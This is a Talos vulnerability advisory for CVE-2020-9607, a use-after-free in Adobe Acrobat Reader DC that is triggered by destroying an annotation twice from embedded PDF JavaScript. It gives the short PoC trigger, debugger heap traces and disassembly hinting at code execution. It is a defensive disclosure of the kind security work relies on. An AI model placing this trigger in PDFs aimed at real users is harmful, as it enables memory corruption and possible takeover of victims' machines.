Talos Vulnerability Report

TALOS-2020-1028

Adobe Acrobat Reader DC Annotation Destroy Remote Code Execution

May 12, 2020
CVE Number

CVE-2020-9607

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Reader 2020.006.20034

Product URLs

https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of annotations attached to pages in the PDF.

There exists a vulnerability in a way Adobe Reader handles destruction of annotations from inside event handlers that can lead to use after free vulnerability.

The following excerpt from a PoC demonstrates this:

getField("Push Button0").setAction("OnBlur",'this.getAnnots()[0].destroy();');

app.activeDocs[0].getField('Push Button0').setFocus();
// cause button to lose focus
try { this.getAnnots()[0].destroy(); } catch(e) { }

Above code first attaches a handler to an OnBlur action of a button. This event handler simply gets an annotation and destroys it. By setting and removing focus from a button, this handler is triggered. Then, destruction of the same annotation is called again. Since the annotation has already been destroyed, the second call to destroy should fail, but a stale reference causes the destroy() to proceed again, which leads to a use-after-free condition. This can be observed by following the object lifetime in the debugger. First call to destroy() end up in the following function call:

Breakpoint 1 hit
eax=0cbb895c ebx=3b014fb0 ecx=65dc4ae0 edx=10000000 esi=65dc4ae0 edi=3b014fb0
eip=6309c1e2 esp=0513b104 ebp=0513b120 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
Annots!PlugInMain+0x59552:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 
6309c1e2 ffd6            call    esi {AcroRd32!AcroWinMainSandbox+0x6bc0 (65dc4ae0)}
0:000> !heap -p -a poi(esp)
    address 3b014fb0 found in
    _DPH_HEAP_ROOT @ 7a11000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                45ee2068:         3b014fb0               4c -         3b014000             2000
          ? Annots!PlugInMain+44b4c0
    67ceabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7751245b ntdll!RtlDebugAllocateHeap+0x00000039
    77476dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77475ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77475d3e ntdll!RtlAllocateHeap+0x0000003e
    764a1406 ucrtbase!_malloc_base+0x00000026
    65dc1fb9 AcroRd32!AcroWinMainSandbox+0x00004099
    630482c3 Annots!PlugInMain+0x00005633
    63048264 Annots!PlugInMain+0x000055d4
    630755c5 Annots!PlugInMain+0x00032935
    63075534 Annots!PlugInMain+0x000328a4
    63070887 Annots!PlugInMain+0x0002dbf7
    63081735 Annots!PlugInMain+0x0003eaa5
    65f5d728 AcroRd32!DllCanUnloadNow+0x00150138
    65f5d233 AcroRd32!DllCanUnloadNow+0x0014fc43
    65f5d19d AcroRd32!DllCanUnloadNow+0x0014fbad
    65f5bc9c AcroRd32!DllCanUnloadNow+0x0014e6ac
    65f5b6c2 AcroRd32!DllCanUnloadNow+0x0014e0d2
    65f5b4da AcroRd32!DllCanUnloadNow+0x0014deea
    65f5b25f AcroRd32!DllCanUnloadNow+0x0014dc6f
    65e1d8ec AcroRd32!DllCanUnloadNow+0x000102fc
    65e1d71f AcroRd32!DllCanUnloadNow+0x0001012f
    742abf1b USER32!_InternalCallWinProc+0x0000002b
    742a83ea USER32!UserCallWinProcCheckWow+0x000003aa
    742a7f8a USER32!DispatchClientMessage+0x000000ea
    742aa6d9 USER32!__fnDWORD+0x00000049
    7749cd3d ntdll!KiUserCallbackDispatcher+0x0000004d
    742a7a80 USER32!DispatchMessageW+0x00000010
    66258619 AcroRd32!AX_PDXlateToHostEx+0x0012e989
    66258681 AcroRd32!AX_PDXlateToHostEx+0x0012e9f1
    66250c9c AcroRd32!AX_PDXlateToHostEx+0x0012700c
    66260d2c AcroRd32!AX_PDXlateToHostEx+0x0013709c

In the above output, we can see an object of size 0x4c at address 0x3b014fb0 is in use. Continuing execution over this function call we observe:

0:000> p
eax=00000001 ebx=3b014fb0 ecx=3b014fb0 edx=07a10000 esi=65dc4ae0 edi=3b014fb0
eip=6309c1e4 esp=0513b104 ebp=0513b120 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
Annots!PlugInMain+0x59554:
6309c1e4 eb09            jmp     Annots!PlugInMain+0x5955f (6309c1ef)
0:000> !heap -p -a 3b014fb0 
    address 3b014fb0 found in
    _DPH_HEAP_ROOT @ 7a11000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   45ee2068:         3b014000             2000
    67ceae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77512c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77473c45 ntdll!RtlpFreeHeap+0x000000d5
    77473812 ntdll!RtlFreeHeap+0x00000222
    7649f43b ucrtbase!_free_base+0x0000001b
    7649f408 ucrtbase!free+0x00000018
    65dc4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
    6309c1e4 Annots!PlugInMain+0x00059554
    6309aa08 Annots!PlugInMain+0x00057d78
    6309a93b Annots!PlugInMain+0x00057cab
    6318a771 Annots!PlugInMain+0x00147ae1
    63187fad Annots!PlugInMain+0x0014531d
    630ef54b Annots!PlugInMain+0x000ac8bb
    630eed21 Annots!PlugInMain+0x000ac091
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api - 
    63844df5 EScript!mozilla::HashBytes+0x000443b5
    63828588 EScript!mozilla::HashBytes+0x00027b48
    63822fdf EScript!mozilla::HashBytes+0x0002259f
    63821e6e EScript!mozilla::HashBytes+0x0002142e
    63821d7e EScript!mozilla::HashBytes+0x0002133e
    63821cb3 EScript!mozilla::HashBytes+0x00021273
    6380a32c EScript!mozilla::HashBytes+0x000098ec
    6384bca9 EScript!mozilla::HashBytes+0x0004b269
    6384b964 EScript!mozilla::HashBytes+0x0004af24
    6384b52c EScript!mozilla::HashBytes+0x0004aaec
    6384a357 EScript!mozilla::HashBytes+0x00049917
    638ca83f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006f94f
    665b1f7f AcroRd32!AIDE::PixelPartInfo::operator=+0x000316af
    665ad6a3 AcroRd32!AIDE::PixelPartInfo::operator=+0x0002cdd3
    6635c542 AcroRd32!AX_PDXlateToHostEx+0x002328b2
    6635caba AcroRd32!AX_PDXlateToHostEx+0x00232e2a
    665b1b9f AcroRd32!AIDE::PixelPartInfo::operator=+0x000312cf
    665b17d3 AcroRd32!AIDE::PixelPartInfo::operator=+0x00030f03

This time, we can observe the same object is freed. Continuing execution until a crash we can observe the following:

0:000> g
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0d750000 ebx=00000000 ecx=00000000 edx=00000000 esi=65f32350 edi=3b014fb0
eip=63108e21 esp=0513ca50 ebp=0513ca90 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Annots!PlugInMain+0xc6191:
63108e21 8b07            mov     eax,dword ptr [edi]  ds:002b:3b014fb0=????????
0:000> !heap -p -a edi
    address 3b014fb0 found in
    _DPH_HEAP_ROOT @ 7a11000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   45ee2068:         3b014000             2000
    67ceae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77512c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77473c45 ntdll!RtlpFreeHeap+0x000000d5
    77473812 ntdll!RtlFreeHeap+0x00000222
    7649f43b ucrtbase!_free_base+0x0000001b
    7649f408 ucrtbase!free+0x00000018
    65dc4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
    6309c1e4 Annots!PlugInMain+0x00059554
    6309aa08 Annots!PlugInMain+0x00057d78
    6309a93b Annots!PlugInMain+0x00057cab
    6318a771 Annots!PlugInMain+0x00147ae1
    63187fad Annots!PlugInMain+0x0014531d
    630ef54b Annots!PlugInMain+0x000ac8bb
    630eed21 Annots!PlugInMain+0x000ac091
    63844df5 EScript!mozilla::HashBytes+0x000443b5
    63828588 EScript!mozilla::HashBytes+0x00027b48
    63822fdf EScript!mozilla::HashBytes+0x0002259f
    63821e6e EScript!mozilla::HashBytes+0x0002142e
    63821d7e EScript!mozilla::HashBytes+0x0002133e
    63821cb3 EScript!mozilla::HashBytes+0x00021273
    6380a32c EScript!mozilla::HashBytes+0x000098ec
    6384bca9 EScript!mozilla::HashBytes+0x0004b269
    6384b964 EScript!mozilla::HashBytes+0x0004af24
    6384b52c EScript!mozilla::HashBytes+0x0004aaec
    6384a357 EScript!mozilla::HashBytes+0x00049917
    638ca83f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006f94f
    665b1f7f AcroRd32!AIDE::PixelPartInfo::operator=+0x000316af
    665ad6a3 AcroRd32!AIDE::PixelPartInfo::operator=+0x0002cdd3
    6635c542 AcroRd32!AX_PDXlateToHostEx+0x002328b2
    6635caba AcroRd32!AX_PDXlateToHostEx+0x00232e2a
    665b1b9f AcroRd32!AIDE::PixelPartInfo::operator=+0x000312cf
    665b17d3 AcroRd32!AIDE::PixelPartInfo::operator=+0x00030f03

In the above , we see a crash that dereferences a pointer to the same object which is still free. This constitutes a use-after-free vulnerability. Further more, the initial use-after-free happens a couple of instructions before an indirect call with call target coming from freed memory:

0:000> u Annots!PlugInMain+0xc6191  L20
Annots!PlugInMain+0xc6191:
63108e21 8b07            mov     eax,dword ptr [edi]
63108e23 8d4ddc          lea     ecx,[ebp-24h]
63108e26 53              push    ebx
63108e27 51              push    ecx
63108e28 8b7018          mov     esi,dword ptr [eax+18h]
63108e2b 8bce            mov     ecx,esi
63108e2d ff1558f74763    call    dword ptr [Annots!PlugInMain+0x43cac8 (6347f758)]
63108e33 8bcf            mov     ecx,edi
63108e35 ffd6            call    esi

With careful memory manipulation between the time of free and reuse, control over reused memory can be gained which can lead to arbitrary code execution.

Timeline

2019-03-19 - Vendor Disclosure
2020-05-12 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.